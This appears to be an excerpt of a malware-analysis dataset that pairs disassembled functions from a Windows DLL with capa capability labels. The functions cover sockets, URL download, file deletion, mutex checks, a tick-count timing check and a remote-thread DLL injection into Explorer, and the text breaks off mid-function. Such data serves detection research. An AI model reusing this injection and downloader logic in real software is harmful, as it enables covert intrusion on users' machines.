joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800073d0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
mov rbx, rdx
test rdx, rdx
jne 0x180007414
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rbx, rax
test rax, rax
jne 0x1800073fd
mov rbx, rdi
jmp 0x180007414
mov rdx, rax
mov ecx, 0x106
mov dword [rax + 4], edi
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], dil
mov edx, dword [rbx]
cmp edx, 0x105
jge 0x18000743e
mov rcx, qword [rbx + 8]
call fcn.180001240
mov rdx, rbx
mov ecx, 0x107
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], dil
mov dword [rbx + 4], edi
movsxd r8, dword [rbx]
mov rcx, qword [rbx + 8]
xor edx, edx
call fcn.18001fe60
mov rdx, qword [rbx + 8]
xor r9d, r9d
lea r8d, [r9 + 0x24]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov rdi, qword [rbx + 8]
or rcx, 0xffffffffffffffff
xor eax, eax
lea r8, [0x180032a78]
lea rdx, [0x180032a74]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov dword [rbx + 4], ecx
mov rcx, rbx
call fcn.180001c50
movsxd rcx, dword [rbx + 4]
mov rax, qword [rbx + 8]
cmp byte [rcx + rax - 1], 0x2f
je 0x1800074ae
lea rdx, [0x180032a78]
mov r8d, 1
mov rcx, rbx
call fcn.1800014b0
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000d320
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [0x18003e000], 0
mov edi, ecx
jne 0x18000d419
lea rbx, [0x18003e000]
mov edx, 0x100
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test edi, edi
jne 0x18000d37a
mov rax, qword [str.C:_Windows_SysWOW64_]
mov qword [rbx], rax
mov rax, qword [0x180033190]
mov qword [rbx + 8], rax
mov eax, dword [0x180033198]
mov dword [rbx + 0x10], eax
movzx eax, byte [0x18003319c]
mov byte [rbx + 0x14], al
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
dec rcx
test ecx, ecx
jle 0x18000d3b9
mov rdx, rbx
cmp byte [rdx], 0x5c
jne 0x18000d39d
mov byte [rdx], 0x2f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
inc r8d
inc rdx
not rcx
dec rcx
cmp r8d, ecx
jl 0x18000d395
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp byte [rcx + rbx - 2], 0x2f
je 0x18000d3e2
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180032a78]
mov word [rdi - 1], ax
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rcx, qword [str.rundll32.exe]
mov rax, rbx
mov qword [rdi - 1], rcx
mov ecx, dword [0x1800331a8]
mov dword [rdi + 7], ecx
movzx ecx, byte [0x1800331ac]
mov byte [rdi + 0xb], cl
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rax, [0x18003e000]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000d740
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov rbx, qword [rcx + 8]
mov r12, rdx
mov rbp, rcx
lea r8, [rbx + 0x333c4]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov rsi, rax
test rax, rax
jne 0x18000d799
lea r8, [rbx + 0x333c4]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rsi, rax
test rax, rax
je 0x18000d7a5
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rbp + 8]
xor edi, edi
xor eax, eax
add rbx, 4
cmp dword [rbx], 0xffffffff
je 0x18000d7ca
inc rax
inc edi
add rbx, 0x1004
cmp rax, 0x1e
jl 0x18000d7b1
jmp 0x18000d7f1
lea rcx, str.RCallAdd__s
mov rdx, r12
call fcn.180003eb0
lea rcx, [rbx + 4]
mov r8d, 0xfff
mov rdx, r12
call fcn.180018ce0
mov dword [rbx], 0
test rsi, rsi
je 0x18000d7ff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
or eax, 0xffffffff
cmp edi, 0x1e
cmove edi, eax
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x18000dd50
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r13
push r14
sub rsp, 0x60
xor edi, edi
mov rsi, r9
mov r13, r8
mov rbp, rdx
mov r14, rcx
test rcx, rcx
jne 0x18000dd7d
xor eax, eax
jmp 0x18000deb8
mov qword [rsp + 0x88], r12
test r8, r8
je 0x18000deae
test rdx, rdx
je 0x18000deae
mov r12, qword [rsp + 0xa0]
test r12, r12
je 0x18000deae
mov rcx, r9
mov qword [rsp + 0x80], rbx
call fcn.180002090
mov rbx, rax
test rax, rax
je 0x18000de10
mov rcx, rax
call fcn.180001f40
mov r8, qword [rbx + 8]
mov r11, rbp
sub r8, rbp
movzx edx, byte [r11]
movzx ecx, byte [r11 + r8]
sub edx, ecx
jne 0x18000dde6
inc r11
test ecx, ecx
jne 0x18000ddd2
test edx, edx
jne 0x18000ddef
lea edi, [rdx + 1]
jmp 0x18000de08
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rsi
call fcn.180003a30
or ecx, 0xffffffff
cmp al, 1
cmove edi, ecx
mov rcx, rbx
call fcn.1800012d0
mov rbx, qword [rsp + 0xa8]
mov dword [rsp + 0x30], edi
lea rcx, [0x180033250]
mov r9, r13
mov r8, rbp
mov rdx, rbx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rsi
call fcn.180003eb0
mov r11, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xc8]
mov r9, r12
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb8]
mov r8, rsi
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb0]
mov rdx, r13
mov qword [rsp + 0x30], rax
mov rcx, rbp
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], edi
call fcn.18000d8a0
mov rdx, r14
mov rcx, rax
call fcn.180002300
mov rbx, qword [rsp + 0x80]
mov rax, r14
jmp 0x18000deb0
xor eax, eax
mov r12, qword [rsp + 0x88]
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rdi
ret
Function at 0x18000e170
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x250
mov esi, dword [rsp + 0x290]
mov rdi, rcx
mov r12, r9
movzx ecx, si
mov byte [rax + 0x13], r8b
mov byte [rax + 0x12], dl
call qword [sym.imp.WS2_32.dll_htons]
xor r13d, r13d
mov word [rsp + 0x278], ax
mov ebx, r13d
nop word [rax + rax]
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x40]
lea ecx, [rdi + 1]
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], r13d
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x18000e25f
lea rdx, [rsp + 0x40]
mov rcx, rdi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18000e25f
movsxd rax, ebx
mov r8d, 4
xor r9d, r9d
lea rdx, [rsp + rax + 0x278]
sub r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000e25f
add ebx, eax
cmp ebx, 4
jl 0x18000e1c0
test esi, esi
jle 0x18000e25b
mov r9d, 0x3e8
mov r8d, esi
mov rdx, r12
mov rcx, rdi
call fcn.180004340
cmp esi, eax
je 0x18000e25b
mov eax, 0xfffffffe
jmp 0x18000e262
xor eax, eax
jmp 0x18000e262
or eax, 0xffffffff
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret

Function at 0x18000e280
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x240
xor r13d, r13d
mov rsi, r8
mov rbp, rdx
mov ebx, r13d
mov rdi, rcx
nop word [rax + rax]
lea rax, [rsp + 0x268]
lea rdx, [rsp + 0x30]
lea ecx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x268], 3
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x26c], r13d
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x18000e395
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18000e395
mov r8d, 4
movsxd rdx, ebx
xor r9d, r9d
sub r8d, ebx
add rdx, rbp
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x18000e37d
add ebx, eax
cmp ebx, 4
jl 0x18000e2b0
movzx ecx, word [rbp]
call qword [sym.imp.WS2_32.dll_htons]
movzx ebx, ax
mov eax, dword [rsi]
dec eax
cmp ebx, eax
jle 0x18000e359
lea edx, [rbx + 1]
mov rcx, rsi
call fcn.180001870
test ebx, ebx
jle 0x18000e38e
mov rdx, qword [rsi + 8]
mov r9d, 0x7d0
mov r8d, ebx
mov rcx, rdi
call fcn.180004410
cmp eax, ebx
je 0x18000e38e
mov eax, 0xfffffffe
jmp 0x18000e39a
cmp eax, 0xfffffc88
je 0x18000e395
cmp eax, 4
je 0x18000e339
or eax, 0xffffffff
jmp 0x18000e39a
mov dword [rsi + 4], ebx
xor eax, eax
jmp 0x18000e39a
mov eax, 1
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x18000ecf0
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rbx, [rcx + 8]
mov word [rcx + 2], dx
lea rax, [rcx + 0x18]
mov qword [rbx], 0
mov edx, reloc.WS2_32.dll_inet_ntoa
nop word [rax + rax]
mov qword [rax], 0xffffffffffffffff
mov qword [rax + 8], 0xffffffffffffffff
mov qword [rax + 0x10], 0xffffffffffffffff
add rax, 0x40
dec rdx
mov qword [rax - 0x28], 0xffffffffffffffff
mov qword [rax - 0x20], 0xffffffffffffffff
mov qword [rax - 0x18], 0xffffffffffffffff
mov qword [rax - 0x10], 0xffffffffffffffff
mov qword [rax - 8], 0xffffffffffffffff
jne 0x18000ed20
mov qword [rax], 0xffffffffffffffff
mov qword [rax + 8], 0xffffffffffffffff
mov qword [rax + 0x10], 0xffffffffffffffff
mov qword [rax + 0x18], 0xffffffffffffffff
lea rax, [rsp + 0x48]
mov r9, rcx
mov byte [rcx], 1
mov qword [rsp + 0x28], rax
lea r8, [0x18000eb50]
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x18000edd4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
test rbx, rbx
je 0x18000edd6
mov qword [rbx], rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18000edf0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x48], rax
movzx r15d, r8b
mov r12, rdx
lea r13, [rcx + 0x18]
xor r14d, r14d
cmp qword [r13], 0xffffffffffffffff
je 0x18000ef35
mov eax, dword [r12 + 0xc]
xor edi, edi
xor esi, esi
test eax, eax
jle 0x18000ef07
cmp edi, eax
jge 0x18000ee51
test rsi, rsi
js 0x18000ee51
mov rax, qword [r12 + 0x10]
mov rbx, qword [rax + rsi*8]
jmp 0x18000ee53
xor ebx, ebx
cmp dword [rbx + 0x50], 0
jne 0x18000ee92
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x18]
mov rcx, qword [r13]
mov r8, qword [r8 + 8]
mov rdx, qword [rdx + 8]
call fcn.18000e3c0
mov ebp, eax
test eax, eax
jne 0x18000ee80
mov dword [rbx + 0x50], 1
jmp 0x18000ee92
mov rcx, qword [rbx + 0x18]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test ebp, ebp
js 0x18000eea2
mov eax, dword [r12 + 0xc]
inc edi
inc rsi
cmp edi, eax
jl 0x18000ee41
jmp 0x18000ef07
mov rcx, qword [r13]
lea r8, [rsp + 0x24]
lea rdx, [rsp + 0x28]
mov dword [rsp + 0x24], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getpeername]
movzx ecx, word [rsp + 0x2a]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [r13]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x38]
movzx ebx, ax
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getpeername]
mov ecx, dword [rsp + 0x3c]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [0x1800333f8]
mov r9d, ebx
mov r8, rax
mov edx, r14d
call fcn.180003eb0
mov rcx, qword [r13]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [r13]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [r13], 0xffffffffffffffff
cmp r15b, 1
jne 0x18000ef35
cmp edi, dword [r12 + 0xc]
je 0x18000ef46
inc r14d
add r13, 8
cmp r14d, 0x64
jl 0x18000ee21
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180018330
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f0e0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x30
mov rbx, rdx
call fcn.18000ded0
mov rsi, rax
test rax, rax
je 0x18000f214
mov r9, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
lea rcx, [0x180033430]
mov r9, qword [r9 + 8]
mov r8, qword [r8 + 8]
mov rdx, rbx
mov qword [rsp + 0x40], rdi
call fcn.180003eb0
mov rdx, qword [rsi + 0x18]
mov rax, qword [rsi + 0x10]
mov r8, qword [rdx + 8]
xor r9d, r9d
mov rdx, qword [rax + 8]
xor ecx, ecx
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileA
mov edi, eax
test eax, eax
je 0x18000f177
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._08X___d
mov edx, edi
mov r8d, eax
call fcn.180003eb0
mov eax, 0xfffffd11
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 5
jb 0x18000f167
mov rcx, qword [rsi + 0x18]
mov rcx, qword [rcx + 8]
call fcn.180002090
mov rdi, rax
test rax, rax
je 0x18000f1ff
mov rcx, rax
call fcn.180001f40
mov rdx, qword [rdi + 8]
sub rbx, rdx
movzx eax, byte [rdx]
movzx ecx, byte [rdx + rbx]
sub eax, ecx
jne 0x18000f1c4
inc rdx
test ecx, ecx
jne 0x18000f1b2
test eax, eax
jne 0x18000f1e2
mov rcx, rdi
call fcn.1800012d0
mov rdi, qword [rsp + 0x40]
xor eax, eax
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov rcx, rdi
call fcn.1800012d0
mov rdi, qword [rsp + 0x40]
mov eax, 0xfffffd0f
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov eax, 0xfffffd10
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
mov eax, 0xfffffd12
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
Function at 0x180013630
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [0x18003e120], 0
mov edi, ecx
jne 0x180013729
lea rbx, [0x18003e120]
mov edx, 0x100
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test edi, edi
jne 0x18001368a
mov rax, qword [str.C:_Windows_SysWOW64_]
mov qword [rbx], rax
mov rax, qword [0x180033190]
mov qword [rbx + 8], rax
mov eax, dword [0x180033198]
mov dword [rbx + 0x10], eax
movzx eax, byte [0x18003319c]
mov byte [rbx + 0x14], al
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
dec rcx
test ecx, ecx
jle 0x1800136c9
mov rdx, rbx
cmp byte [rdx], 0x5c
jne 0x1800136ad
mov byte [rdx], 0x2f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
inc r8d
inc rdx
not rcx
dec rcx
cmp r8d, ecx
jl 0x1800136a5
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp byte [rcx + rbx - 2], 0x2f
je 0x1800136f2
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180032a78]
mov word [rdi - 1], ax
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rcx, qword [str.rundll32.exe]
mov rax, rbx
mov qword [rdi - 1], rcx
mov ecx, dword [0x1800331a8]
mov dword [rdi + 7], ecx
movzx ecx, byte [0x1800331ac]
mov byte [rdi + 0xb], cl
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rax, [0x18003e120]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180015320
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, ecx
mov ecx, reloc.WS2_32.dll_recv
mov rbx, rdx
call fcn.18001842c
mov rsi, rax
mov dword [rax], edi
test rbx, rbx
jne 0x180015379
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rdi, rax
test rax, rax
je 0x180015396
mov rdx, rax
mov ecx, select
mov dword [rax + 4], 0
call fcn.180001120
mov qword [rdi + 8], rax
mov byte [rax], 0
jmp 0x180015396
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, rbx
call fcn.180001340
mov rdi, rax
lea rax, [rsp + 0x40]
lea r8, [0x180014a30]
mov r9, rsi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
mov qword [rsi + 8], rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1800153da
mov eax, 1
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x1800157b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r13
sub rsp, 0x30
cmp qword [rcx + 8], 0
mov r13, rcx
jne 0x1800157ca
or eax, 0xffffffff
add rsp, 0x30
pop r13
ret
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor r14d, r14d
mov qword [rsp + 0x48], rbp
mov rbx, r14
mov qword [rsp + 0x50], rsi
mov r12d, eax
nop word [rax + rax]
mov rdi, qword [r13 + 8]
cmp dword [rbx + rdi + 0x1e07c], r14d
jne 0x180015883
mov ecx, dword [rbx + rdi + 0x1e084]
test ecx, ecx
je 0x180015883
cmp r12d, ecx
jbe 0x180015883
mov eax, r12d
sub eax, ecx
cmp eax, 0x4e20
jbe 0x180015883
lea rsi, [rbx + rdi + 0x1e088]
mov rcx, rsi
call fcn.180005ff0
mov ebp, eax
cmp byte [rbx + rdi + 0x1f088], r14b
je 0x180015870
lea rcx, [0x180033a40]
mov rdx, rsi
call fcn.180003eb0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + rdi + 0x1e080], ebp
add eax, 0x9c40
mov dword [rbx + rdi + 0x1e084], eax
jmp 0x180015883
mov dword [rbx + rdi + 0x1e084], r14d
mov dword [rbx + rdi + 0x1e07c], 0xffffffff
add rbx, 0x1010
cmp rbx, 0x14140
jl 0x180015800
mov r14, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop r13
ret
Function at 0x180016590
Capabilities:
Create thread
Initialize winsock library
Resume thread

Disassembly:
push rbx
sub rsp, 0x1e0
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
mov rbx, rcx
lea rdx, [rsp + 0x30]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rcx, [0x180006760]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea r11, [rsp + 0x1d0]
lea r8, [0x180015e30]
mov qword [rsp + 0x28], r11
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180016602
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, [rsp + 0x1d0]
mov edx, 8
call fcn.180004610
mov rcx, qword [0x18003dff0]
lea rdx, [rsp + 0x1d0]
call fcn.180016400
xor eax, eax
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.180018330
add rsp, 0x1e0
pop rbx
ret
Function at 0x180017c20
Capabilities:
Terminate process

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov rbx, r8
lea r8, str.XROMain
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov r8d, eax
mov rdx, rdi
lea rcx, str.CreateMutex_result_is__08X__d
call fcn.180003eb0
test rdi, rdi
je 0x180017ca1
cmp esi, 0xb7
jne 0x180017ca1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x180032c70]
call fcn.180003eb0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, str.F5A937EE_621D_4F66_8020_AB9D5FA1C357
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x64
xor r9d, r9d
xor edx, edx
mov r8d, 0x8000004
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test rax, rax
je 0x180017dab
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x180017dab
lea r8, str.XMX_XP2P_YT_3275
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov r8d, eax
mov rdx, rdi
lea rcx, str.CreateMutex_result_is__08X__d
call fcn.180003eb0
test rdi, rdi
je 0x180017d44
cmp esi, 0xb7
jne 0x180017d44
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x180032c70]
call fcn.180003eb0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x18002e55b]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [0x18002e55b]
call fcn.180001340
mov rdi, rax
test rbx, rbx
je 0x180017d79
mov rdx, rbx
mov rcx, rax
call fcn.180001ab0
mov rcx, rbx
call fcn.1800018c0
mov r8b, 1
mov rdx, qword [rdi + 8]
lea rcx, [rsp + 0x38]
call fcn.180013b50
nop
mov rdi, qword [rsp + 0x40]
mov rcx, rdi
call fcn.180016590
nop
mov rcx, rdi
call fcn.180019ce8
jmp 0x180017dcd
lea rcx, str.c:_xscp.txt
call fcn.180003d60
lea rcx, [0x180033eb8]
call fcn.180003eb0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x180017de0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x2a0
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x290], rax
call fcn.180005660
lea rcx, str.Progman
xor edi, edi
xor edx, edx
mov dword [rsp + 0x40], edi
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x180017e37
lea rcx, str.Progman
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [rsp + 0x40], edi
je 0x180017f8f
lea rcx, str.Progman
xor edx, edx
mov qword [rsp + 0x2b0], rbx
mov dword [rsp + 0x40], edi
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x180017e7e
lea rcx, str.Progman
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x40]
xor edx, edx
lea ecx, [rdx + 0x2a]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180017f87
lea r8, [rsp + 0x48]
lea rdx, [fcn.180017de0]
mov r9d, gethostbyname
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x2b8], rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x80]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x180017f76
lea r8, [rsp + 0x80]
mov r9d, 0x104
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180017f61
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x30], rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x180017f61
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
